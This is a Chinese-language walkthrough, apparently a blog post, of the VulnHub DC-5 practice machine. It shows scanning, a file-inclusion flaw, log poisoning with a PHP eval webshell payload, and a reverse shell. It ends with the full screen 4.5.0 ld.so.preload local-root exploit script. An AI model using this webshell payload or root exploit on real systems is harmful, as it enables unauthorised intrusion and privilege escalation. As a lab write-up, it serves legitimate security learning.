vulnhub dc5

前言

前几个DC感觉没什么新奇(DC2有个绕过rbash,git提权),就放了个5。

一、信息收集

nmap -sn 192.168.1.0/24
nmap -Pn 192.168.1.178

在这里插入图片描述然后我脑瘫的疯狂怼111端口。。。转换思路到80端口
访问web页面
扫后台 footer.php
在这里插入图片描述在这里插入图片描述刷新一次跟上次不一样??
在http://192.168.1.178/contact.php提交表单在这里插入图片描述包含了footer.php而且刷新的时候footer.php内容会变。那么可以推测thankyou.php包含了footer.php,且存在文件包含漏洞。
在这里插入图片描述可以看到成功包含了index.php。

二、漏洞利用

试试file为参数,居然嘿嘿,然后brupsuit用上我的大字典,找出路径为/var/log/nginx/access.log。
在这里插入图片描述在这里插入图片描述芜湖,传日志木马。

/thankyou.php?file=<?php @eval($_REQUEST['webshell'])?>

蚁剑冲冲冲。
在这里插入图片描述不是很清楚,为什么一句话后面不加分号反而成功,有大佬指点一下吗?
拿到webshell后,nc反弹shell(蚁剑不稳定)
在这里插入图片描述换成交互式吧

python -c "import pty;pty.spawn('/bin/bash')"

``

三、 提权

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述查看一下,发现貌似只能试试screen-4.5.0。
漏洞库查找漏洞exp
保存为shell脚本,用蚁剑传到/var/tmp(权限比较大),然后执行该.sh。成功拿到root权限。
在这里插入图片描述漏洞脚本(www.exploit-db.com)

在这里插入图片描述`

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值